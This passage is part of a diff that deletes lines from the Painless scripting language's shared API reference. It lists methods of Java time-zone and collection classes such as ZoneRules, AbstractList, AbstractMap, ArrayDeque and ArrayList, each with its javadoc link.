-* List {java11-javadoc}/java.base/java/time/zone/ZoneRules.html#getTransitions()[getTransitions]()
-* List {java11-javadoc}/java.base/java/time/zone/ZoneRules.html#getValidOffsets(java.time.LocalDateTime)[getValidOffsets](LocalDateTime)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/zone/ZoneRules.html#isDaylightSavings(java.time.Instant)[isDaylightSavings](Instant)
-* boolean {java11-javadoc}/java.base/java/time/zone/ZoneRules.html#isFixedOffset()[isFixedOffset]()
-* boolean {java11-javadoc}/java.base/java/time/zone/ZoneRules.html#isValidOffset(java.time.LocalDateTime,java.time.ZoneOffset)[isValidOffset](LocalDateTime, ZoneOffset)
-* ZoneOffsetTransition {java11-javadoc}/java.base/java/time/zone/ZoneRules.html#nextTransition(java.time.Instant)[nextTransition](Instant)
-* ZoneOffsetTransition {java11-javadoc}/java.base/java/time/zone/ZoneRules.html#previousTransition(java.time.Instant)[previousTransition](Instant)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ZoneRulesException]]
-==== ZoneRulesException
-* {java11-javadoc}/java.base/java/time/zone/ZoneRulesException.html#<init>(java.lang.String)[ZoneRulesException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ZoneRulesProvider]]
-==== ZoneRulesProvider
-* static Set {java11-javadoc}/java.base/java/time/zone/ZoneRulesProvider.html#getAvailableZoneIds()[getAvailableZoneIds]()
-* static ZoneRules {java11-javadoc}/java.base/java/time/zone/ZoneRulesProvider.html#getRules(java.lang.String,boolean)[getRules](null, boolean)
-* static NavigableMap {java11-javadoc}/java.base/java/time/zone/ZoneRulesProvider.html#getVersions(java.lang.String)[getVersions](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[role="exclude",id="painless-api-reference-shared-java-util"]
-=== Shared API for package java.util
-See the <<painless-api-reference-shared, Shared API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-shared-AbstractCollection]]
-==== AbstractCollection
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#add(java.lang.Object)[add](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#addAll(java.util.Collection)[addAll](Collection)
-* boolean any(Predicate)
-* Collection asCollection()
-* List asList()
-* void {java11-javadoc}/java.base/java/util/Collection.html#clear()[clear]()
-* List collect(Function)
-* def collect(Collection, Function)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#contains(java.lang.Object)[contains](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#containsAll(java.util.Collection)[containsAll](Collection)
-* def each(Consumer)
-* def eachWithIndex(ObjIntConsumer)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean every(Predicate)
-* def find(Predicate)
-* List findAll(Predicate)
-* def findResult(Function)
-* def findResult(def, Function)
-* List findResults(Function)
-* void {java11-javadoc}/java.base/java/lang/Iterable.html#forEach(java.util.function.Consumer)[forEach](Consumer)
-* Map groupBy(Function)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#isEmpty()[isEmpty]()
-* Iterator {java11-javadoc}/java.base/java/lang/Iterable.html#iterator()[iterator]()
-* null join(null)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeAll(java.util.Collection)[removeAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeIf(java.util.function.Predicate)[removeIf](Predicate)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#retainAll(java.util.Collection)[retainAll](Collection)
-* int {java11-javadoc}/java.base/java/util/Collection.html#size()[size]()
-* List split(Predicate)
-* Spliterator {java11-javadoc}/java.base/java/util/Collection.html#spliterator()[spliterator]()
-* Stream {java11-javadoc}/java.base/java/util/Collection.html#stream()[stream]()
-* double sum()
-* double sum(ToDoubleFunction)
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray()[toArray]()
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray(java.lang.Object%5B%5D)[toArray](def[])
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-AbstractList]]
-==== AbstractList
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#add(java.lang.Object)[add](def)
-* void {java11-javadoc}/java.base/java/util/List.html#add(int,java.lang.Object)[add](int, def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#addAll(java.util.Collection)[addAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/List.html#addAll(int,java.util.Collection)[addAll](int, Collection)
-* boolean any(Predicate)
-* Collection asCollection()
-* List asList()
-* void {java11-javadoc}/java.base/java/util/Collection.html#clear()[clear]()
-* List collect(Function)
-* def collect(Collection, Function)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#contains(java.lang.Object)[contains](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#containsAll(java.util.Collection)[containsAll](Collection)
-* def each(Consumer)
-* def eachWithIndex(ObjIntConsumer)
-* boolean {java11-javadoc}/java.base/java/util/List.html#equals(java.lang.Object)[equals](Object)
-* boolean every(Predicate)
-* def find(Predicate)
-* List findAll(Predicate)
-* def findResult(Function)
-* def findResult(def, Function)
-* List findResults(Function)
-* void {java11-javadoc}/java.base/java/lang/Iterable.html#forEach(java.util.function.Consumer)[forEach](Consumer)
-* def {java11-javadoc}/java.base/java/util/List.html#get(int)[get](int)
-* Object getByPath(null)
-* Object getByPath(null, Object)
-* int getLength()
-* Map groupBy(Function)
-* int {java11-javadoc}/java.base/java/util/List.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/util/List.html#indexOf(java.lang.Object)[indexOf](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#isEmpty()[isEmpty]()
-* Iterator {java11-javadoc}/java.base/java/lang/Iterable.html#iterator()[iterator]()
-* null join(null)
-* int {java11-javadoc}/java.base/java/util/List.html#lastIndexOf(java.lang.Object)[lastIndexOf](def)
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator()[listIterator]()
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator(int)[listIterator](int)
-* def {java11-javadoc}/java.base/java/util/List.html#remove(int)[remove](int)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeAll(java.util.Collection)[removeAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeIf(java.util.function.Predicate)[removeIf](Predicate)
-* void {java11-javadoc}/java.base/java/util/List.html#replaceAll(java.util.function.UnaryOperator)[replaceAll](UnaryOperator)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#retainAll(java.util.Collection)[retainAll](Collection)
-* def {java11-javadoc}/java.base/java/util/List.html#set(int,java.lang.Object)[set](int, def)
-* int {java11-javadoc}/java.base/java/util/Collection.html#size()[size]()
-* void {java11-javadoc}/java.base/java/util/List.html#sort(java.util.Comparator)[sort](Comparator)
-* List split(Predicate)
-* Spliterator {java11-javadoc}/java.base/java/util/Collection.html#spliterator()[spliterator]()
-* Stream {java11-javadoc}/java.base/java/util/Collection.html#stream()[stream]()
-* List {java11-javadoc}/java.base/java/util/List.html#subList(int,int)[subList](int, int)
-* double sum()
-* double sum(ToDoubleFunction)
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray()[toArray]()
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray(java.lang.Object%5B%5D)[toArray](def[])
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-AbstractMap]]
-==== AbstractMap
-* void {java11-javadoc}/java.base/java/util/Map.html#clear()[clear]()
-* List collect(BiFunction)
-* def collect(Collection, BiFunction)
-* def {java11-javadoc}/java.base/java/util/Map.html#compute(java.lang.Object,java.util.function.BiFunction)[compute](def, BiFunction)
-* def {java11-javadoc}/java.base/java/util/Map.html#computeIfAbsent(java.lang.Object,java.util.function.Function)[computeIfAbsent](def, Function)
-* def {java11-javadoc}/java.base/java/util/Map.html#computeIfPresent(java.lang.Object,java.util.function.BiFunction)[computeIfPresent](def, BiFunction)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#containsKey(java.lang.Object)[containsKey](def)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#containsValue(java.lang.Object)[containsValue](def)
-* int count(BiPredicate)
-* def each(BiConsumer)
-* Set {java11-javadoc}/java.base/java/util/Map.html#entrySet()[entrySet]()
-* boolean {java11-javadoc}/java.base/java/util/Map.html#equals(java.lang.Object)[equals](Object)
-* boolean every(BiPredicate)
-* Map.Entry find(BiPredicate)
-* Map findAll(BiPredicate)
-* def findResult(BiFunction)
-* def findResult(def, BiFunction)
-* List findResults(BiFunction)
-* void {java11-javadoc}/java.base/java/util/Map.html#forEach(java.util.function.BiConsumer)[forEach](BiConsumer)
-* def {java11-javadoc}/java.base/java/util/Map.html#get(java.lang.Object)[get](def)
-* Object getByPath(null)
-* Object getByPath(null, Object)
-* def {java11-javadoc}/java.base/java/util/Map.html#getOrDefault(java.lang.Object,java.lang.Object)[getOrDefault](def, def)
-* Map groupBy(BiFunction)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/util/Map.html#isEmpty()[isEmpty]()
-* Set {java11-javadoc}/java.base/java/util/Map.html#keySet()[keySet]()
-* def {java11-javadoc}/java.base/java/util/Map.html#merge(java.lang.Object,java.lang.Object,java.util.function.BiFunction)[merge](def, def, BiFunction)
-* def {java11-javadoc}/java.base/java/util/Map.html#put(java.lang.Object,java.lang.Object)[put](def, def)
-* void {java11-javadoc}/java.base/java/util/Map.html#putAll(java.util.Map)[putAll](Map)
-* def {java11-javadoc}/java.base/java/util/Map.html#putIfAbsent(java.lang.Object,java.lang.Object)[putIfAbsent](def, def)
-* def {java11-javadoc}/java.base/java/util/Map.html#remove(java.lang.Object)[remove](def)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#remove(java.lang.Object,java.lang.Object)[remove](def, def)
-* def {java11-javadoc}/java.base/java/util/Map.html#replace(java.lang.Object,java.lang.Object)[replace](def, def)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#replace(java.lang.Object,java.lang.Object,java.lang.Object)[replace](def, def, def)
-* void {java11-javadoc}/java.base/java/util/Map.html#replaceAll(java.util.function.BiFunction)[replaceAll](BiFunction)
-* int {java11-javadoc}/java.base/java/util/Map.html#size()[size]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* Collection {java11-javadoc}/java.base/java/util/Map.html#values()[values]()
-
-
-[[painless-api-reference-shared-AbstractMap-SimpleEntry]]
-==== AbstractMap.SimpleEntry
-* {java11-javadoc}/java.base/java/util/AbstractMap$SimpleEntry.html#<init>(java.util.Map$Entry)[AbstractMap.SimpleEntry](Map.Entry)
-* {java11-javadoc}/java.base/java/util/AbstractMap$SimpleEntry.html#<init>(java.lang.Object,java.lang.Object)[AbstractMap.SimpleEntry](def, def)
-* boolean {java11-javadoc}/java.base/java/util/Map$Entry.html#equals(java.lang.Object)[equals](Object)
-* def {java11-javadoc}/java.base/java/util/Map$Entry.html#getKey()[getKey]()
-* def {java11-javadoc}/java.base/java/util/Map$Entry.html#getValue()[getValue]()
-* int {java11-javadoc}/java.base/java/util/Map$Entry.html#hashCode()[hashCode]()
-* def {java11-javadoc}/java.base/java/util/Map$Entry.html#setValue(java.lang.Object)[setValue](def)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-AbstractMap-SimpleImmutableEntry]]
-==== AbstractMap.SimpleImmutableEntry
-* {java11-javadoc}/java.base/java/util/AbstractMap$SimpleImmutableEntry.html#<init>(java.util.Map$Entry)[AbstractMap.SimpleImmutableEntry](Map.Entry)
-* {java11-javadoc}/java.base/java/util/AbstractMap$SimpleImmutableEntry.html#<init>(java.lang.Object,java.lang.Object)[AbstractMap.SimpleImmutableEntry](def, def)
-* boolean {java11-javadoc}/java.base/java/util/Map$Entry.html#equals(java.lang.Object)[equals](Object)
-* def {java11-javadoc}/java.base/java/util/Map$Entry.html#getKey()[getKey]()
-* def {java11-javadoc}/java.base/java/util/Map$Entry.html#getValue()[getValue]()
-* int {java11-javadoc}/java.base/java/util/Map$Entry.html#hashCode()[hashCode]()
-* def {java11-javadoc}/java.base/java/util/Map$Entry.html#setValue(java.lang.Object)[setValue](def)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-AbstractQueue]]
-==== AbstractQueue
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#add(java.lang.Object)[add](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#addAll(java.util.Collection)[addAll](Collection)
-* boolean any(Predicate)
-* Collection asCollection()
-* List asList()
-* void {java11-javadoc}/java.base/java/util/Collection.html#clear()[clear]()
-* List collect(Function)
-* def collect(Collection, Function)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#contains(java.lang.Object)[contains](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#containsAll(java.util.Collection)[containsAll](Collection)
-* def each(Consumer)
-* def eachWithIndex(ObjIntConsumer)
-* def {java11-javadoc}/java.base/java/util/Queue.html#element()[element]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean every(Predicate)
-* def find(Predicate)
-* List findAll(Predicate)
-* def findResult(Function)
-* def findResult(def, Function)
-* List findResults(Function)
-* void {java11-javadoc}/java.base/java/lang/Iterable.html#forEach(java.util.function.Consumer)[forEach](Consumer)
-* Map groupBy(Function)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#isEmpty()[isEmpty]()
-* Iterator {java11-javadoc}/java.base/java/lang/Iterable.html#iterator()[iterator]()
-* null join(null)
-* boolean {java11-javadoc}/java.base/java/util/Queue.html#offer(java.lang.Object)[offer](def)
-* def {java11-javadoc}/java.base/java/util/Queue.html#peek()[peek]()
-* def {java11-javadoc}/java.base/java/util/Queue.html#poll()[poll]()
-* def {java11-javadoc}/java.base/java/util/Queue.html#remove()[remove]()
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeAll(java.util.Collection)[removeAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeIf(java.util.function.Predicate)[removeIf](Predicate)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#retainAll(java.util.Collection)[retainAll](Collection)
-* int {java11-javadoc}/java.base/java/util/Collection.html#size()[size]()
-* List split(Predicate)
-* Spliterator {java11-javadoc}/java.base/java/util/Collection.html#spliterator()[spliterator]()
-* Stream {java11-javadoc}/java.base/java/util/Collection.html#stream()[stream]()
-* double sum()
-* double sum(ToDoubleFunction)
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray()[toArray]()
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray(java.lang.Object%5B%5D)[toArray](def[])
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-AbstractSequentialList]]
-==== AbstractSequentialList
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#add(java.lang.Object)[add](def)
-* void {java11-javadoc}/java.base/java/util/List.html#add(int,java.lang.Object)[add](int, def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#addAll(java.util.Collection)[addAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/List.html#addAll(int,java.util.Collection)[addAll](int, Collection)
-* boolean any(Predicate)
-* Collection asCollection()
-* List asList()
-* void {java11-javadoc}/java.base/java/util/Collection.html#clear()[clear]()
-* List collect(Function)
-* def collect(Collection, Function)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#contains(java.lang.Object)[contains](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#containsAll(java.util.Collection)[containsAll](Collection)
-* def each(Consumer)
-* def eachWithIndex(ObjIntConsumer)
-* boolean {java11-javadoc}/java.base/java/util/List.html#equals(java.lang.Object)[equals](Object)
-* boolean every(Predicate)
-* def find(Predicate)
-* List findAll(Predicate)
-* def findResult(Function)
-* def findResult(def, Function)
-* List findResults(Function)
-* void {java11-javadoc}/java.base/java/lang/Iterable.html#forEach(java.util.function.Consumer)[forEach](Consumer)
-* def {java11-javadoc}/java.base/java/util/List.html#get(int)[get](int)
-* Object getByPath(null)
-* Object getByPath(null, Object)
-* int getLength()
-* Map groupBy(Function)
-* int {java11-javadoc}/java.base/java/util/List.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/util/List.html#indexOf(java.lang.Object)[indexOf](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#isEmpty()[isEmpty]()
-* Iterator {java11-javadoc}/java.base/java/lang/Iterable.html#iterator()[iterator]()
-* null join(null)
-* int {java11-javadoc}/java.base/java/util/List.html#lastIndexOf(java.lang.Object)[lastIndexOf](def)
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator()[listIterator]()
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator(int)[listIterator](int)
-* def {java11-javadoc}/java.base/java/util/List.html#remove(int)[remove](int)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeAll(java.util.Collection)[removeAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeIf(java.util.function.Predicate)[removeIf](Predicate)
-* void {java11-javadoc}/java.base/java/util/List.html#replaceAll(java.util.function.UnaryOperator)[replaceAll](UnaryOperator)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#retainAll(java.util.Collection)[retainAll](Collection)
-* def {java11-javadoc}/java.base/java/util/List.html#set(int,java.lang.Object)[set](int, def)
-* int {java11-javadoc}/java.base/java/util/Collection.html#size()[size]()
-* void {java11-javadoc}/java.base/java/util/List.html#sort(java.util.Comparator)[sort](Comparator)
-* List split(Predicate)
-* Spliterator {java11-javadoc}/java.base/java/util/Collection.html#spliterator()[spliterator]()
-* Stream {java11-javadoc}/java.base/java/util/Collection.html#stream()[stream]()
-* List {java11-javadoc}/java.base/java/util/List.html#subList(int,int)[subList](int, int)
-* double sum()
-* double sum(ToDoubleFunction)
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray()[toArray]()
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray(java.lang.Object%5B%5D)[toArray](def[])
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-AbstractSet]]
-==== AbstractSet
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#add(java.lang.Object)[add](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#addAll(java.util.Collection)[addAll](Collection)
-* boolean any(Predicate)
-* Collection asCollection()
-* List asList()
-* void {java11-javadoc}/java.base/java/util/Collection.html#clear()[clear]()
-* List collect(Function)
-* def collect(Collection, Function)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#contains(java.lang.Object)[contains](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#containsAll(java.util.Collection)[containsAll](Collection)
-* def each(Consumer)
-* def eachWithIndex(ObjIntConsumer)
-* boolean {java11-javadoc}/java.base/java/util/Set.html#equals(java.lang.Object)[equals](Object)
-* boolean every(Predicate)
-* def find(Predicate)
-* List findAll(Predicate)
-* def findResult(Function)
-* def findResult(def, Function)
-* List findResults(Function)
-* void {java11-javadoc}/java.base/java/lang/Iterable.html#forEach(java.util.function.Consumer)[forEach](Consumer)
-* Map groupBy(Function)
-* int {java11-javadoc}/java.base/java/util/Set.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#isEmpty()[isEmpty]()
-* Iterator {java11-javadoc}/java.base/java/lang/Iterable.html#iterator()[iterator]()
-* null join(null)
-* boolean {java11-javadoc}/java.base/java/util/Set.html#remove(java.lang.Object)[remove](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeAll(java.util.Collection)[removeAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeIf(java.util.function.Predicate)[removeIf](Predicate)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#retainAll(java.util.Collection)[retainAll](Collection)
-* int {java11-javadoc}/java.base/java/util/Collection.html#size()[size]()
-* List split(Predicate)
-* Spliterator {java11-javadoc}/java.base/java/util/Collection.html#spliterator()[spliterator]()
-* Stream {java11-javadoc}/java.base/java/util/Collection.html#stream()[stream]()
-* double sum()
-* double sum(ToDoubleFunction)
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray()[toArray]()
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray(java.lang.Object%5B%5D)[toArray](def[])
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ArrayDeque]]
-==== ArrayDeque
-* {java11-javadoc}/java.base/java/util/ArrayDeque.html#<init>()[ArrayDeque]()
-* {java11-javadoc}/java.base/java/util/ArrayDeque.html#<init>(java.util.Collection)[ArrayDeque](Collection)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#add(java.lang.Object)[add](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#addAll(java.util.Collection)[addAll](Collection)
-* void {java11-javadoc}/java.base/java/util/Deque.html#addFirst(java.lang.Object)[addFirst](def)
-* void {java11-javadoc}/java.base/java/util/Deque.html#addLast(java.lang.Object)[addLast](def)
-* boolean any(Predicate)
-* Collection asCollection()
-* List asList()
-* void {java11-javadoc}/java.base/java/util/Collection.html#clear()[clear]()
-* ArrayDeque {java11-javadoc}/java.base/java/util/ArrayDeque.html#clone()[clone]()
-* List collect(Function)
-* def collect(Collection, Function)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#contains(java.lang.Object)[contains](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#containsAll(java.util.Collection)[containsAll](Collection)
-* Iterator {java11-javadoc}/java.base/java/util/Deque.html#descendingIterator()[descendingIterator]()
-* def each(Consumer)
-* def eachWithIndex(ObjIntConsumer)
-* def {java11-javadoc}/java.base/java/util/Queue.html#element()[element]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean every(Predicate)
-* def find(Predicate)
-* List findAll(Predicate)
-* def findResult(Function)
-* def findResult(def, Function)
-* List findResults(Function)
-* void {java11-javadoc}/java.base/java/lang/Iterable.html#forEach(java.util.function.Consumer)[forEach](Consumer)
-* def {java11-javadoc}/java.base/java/util/Deque.html#getFirst()[getFirst]()
-* def {java11-javadoc}/java.base/java/util/Deque.html#getLast()[getLast]()
-* Map groupBy(Function)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#isEmpty()[isEmpty]()
-* Iterator {java11-javadoc}/java.base/java/lang/Iterable.html#iterator()[iterator]()
-* null join(null)
-* boolean {java11-javadoc}/java.base/java/util/Queue.html#offer(java.lang.Object)[offer](def)
-* boolean {java11-javadoc}/java.base/java/util/Deque.html#offerFirst(java.lang.Object)[offerFirst](def)
-* boolean {java11-javadoc}/java.base/java/util/Deque.html#offerLast(java.lang.Object)[offerLast](def)
-* def {java11-javadoc}/java.base/java/util/Queue.html#peek()[peek]()
-* def {java11-javadoc}/java.base/java/util/Deque.html#peekFirst()[peekFirst]()
-* def {java11-javadoc}/java.base/java/util/Deque.html#peekLast()[peekLast]()
-* def {java11-javadoc}/java.base/java/util/Queue.html#poll()[poll]()
-* def {java11-javadoc}/java.base/java/util/Deque.html#pollFirst()[pollFirst]()
-* def {java11-javadoc}/java.base/java/util/Deque.html#pollLast()[pollLast]()
-* def {java11-javadoc}/java.base/java/util/Deque.html#pop()[pop]()
-* void {java11-javadoc}/java.base/java/util/Deque.html#push(java.lang.Object)[push](def)
-* def {java11-javadoc}/java.base/java/util/Queue.html#remove()[remove]()
-* boolean {java11-javadoc}/java.base/java/util/Deque.html#remove(java.lang.Object)[remove](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeAll(java.util.Collection)[removeAll](Collection)
-* def {java11-javadoc}/java.base/java/util/Deque.html#removeFirst()[removeFirst]()
-* boolean {java11-javadoc}/java.base/java/util/Deque.html#removeFirstOccurrence(java.lang.Object)[removeFirstOccurrence](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeIf(java.util.function.Predicate)[removeIf](Predicate)
-* def {java11-javadoc}/java.base/java/util/Deque.html#removeLast()[removeLast]()
-* boolean {java11-javadoc}/java.base/java/util/Deque.html#removeLastOccurrence(java.lang.Object)[removeLastOccurrence](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#retainAll(java.util.Collection)[retainAll](Collection)
-* int {java11-javadoc}/java.base/java/util/Collection.html#size()[size]()
-* List split(Predicate)
-* Spliterator {java11-javadoc}/java.base/java/util/Collection.html#spliterator()[spliterator]()
-* Stream {java11-javadoc}/java.base/java/util/Collection.html#stream()[stream]()
-* double sum()
-* double sum(ToDoubleFunction)
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray()[toArray]()
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray(java.lang.Object%5B%5D)[toArray](def[])
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ArrayList]]
-==== ArrayList
-* {java11-javadoc}/java.base/java/util/ArrayList.html#<init>()[ArrayList]()
-* {java11-javadoc}/java.base/java/util/ArrayList.html#<init>(java.util.Collection)[ArrayList](Collection)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#add(java.lang.Object)[add](def)
-* void {java11-javadoc}/java.base/java/util/List.html#add(int,java.lang.Object)[add](int, def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#addAll(java.util.Collection)[addAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/List.html#addAll(int,java.util.Collection)[addAll](int, Collection)
-* boolean any(Predicate)
-* Collection asCollection()
-* List asList()
-* void {java11-javadoc}/java.base/java/util/Collection.html#clear()[clear]()
-* def {java11-javadoc}/java.base/java/util/ArrayList.html#clone()[clone]()
-* List collect(Function)
-* def collect(Collection, Function)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#contains(java.lang.Object)[contains](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#containsAll(java.util.Collection)[containsAll](Collection)
-* def each(Consumer)
-* def eachWithIndex(ObjIntConsumer)
-* boolean {java11-javadoc}/java.base/java/util/List.html#equals(java.lang.Object)[equals](Object)
-* boolean every(Predicate)
-* def find(Predicate)
-* List findAll(Predicate)
-* def findResult(Function)
-* def findResult(def, Function)
-* List findResults(Function)
-* void {java11-javadoc}/java.base/java/lang/Iterable.html#forEach(java.util.function.Consumer)[forEach](Consumer)
-* def {java11-javadoc}/java.base/java/util/List.html#get(int)[get](int)
-* Object getByPath(null)
-* Object getByPath(null, Object)
-* int getLength()
-* Map groupBy(Function)
-* int {java11-javadoc}/java.base/java/util/List.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/util/List.html#indexOf(java.lang.Object)[indexOf](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#isEmpty()[isEmpty]()
-* Iterator {java11-javadoc}/java.base/java/lang/Iterable.html#iterator()[iterator]()
-* null join(null)
-* int {java11-javadoc}/java.base/java/util/List.html#lastIndexOf(java.lang.Object)[lastIndexOf](def)
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator()[listIterator]()
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator(int)[listIterator](int)
-* def {java11-javadoc}/java.base/java/util/List.html#remove(int)[remove](int)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeAll(java.util.Collection)[removeAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeIf(java.util.function.Predicate)[removeIf](Predicate)
-* void {java11-javadoc}/java.base/java/util/List.html#replaceAll(java.util.function.UnaryOperator)[replaceAll](UnaryOperator)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#retainAll(java.util.Collection)[retainAll](Collection)
-* def {java11-javadoc}/java.base/java/util/List.html#set(int,java.lang.Object)[set](int, def)
-* int {java11-javadoc}/java.base/java/util/Collection.html#size()[size]()
-* void {java11-javadoc}/java.base/java/util/List.html#sort(java.util.Comparator)[sort](Comparator)
-* List split(Predicate)
-* Spliterator {java11-javadoc}/java.base/java/util/Collection.html#spliterator()[spliterator]()
-* Stream {java11-javadoc}/java.base/java/util/Collection.html#stream()[stream]()
-* List {java11-javadoc}/java.base/java/util/List.html#subList(int,int)[subList](int, int)
-* double sum()
-* double sum(ToDoubleFunction)
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray()[toArray]()
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray(java.lang.Object%5B%5D)[toArray](def[])
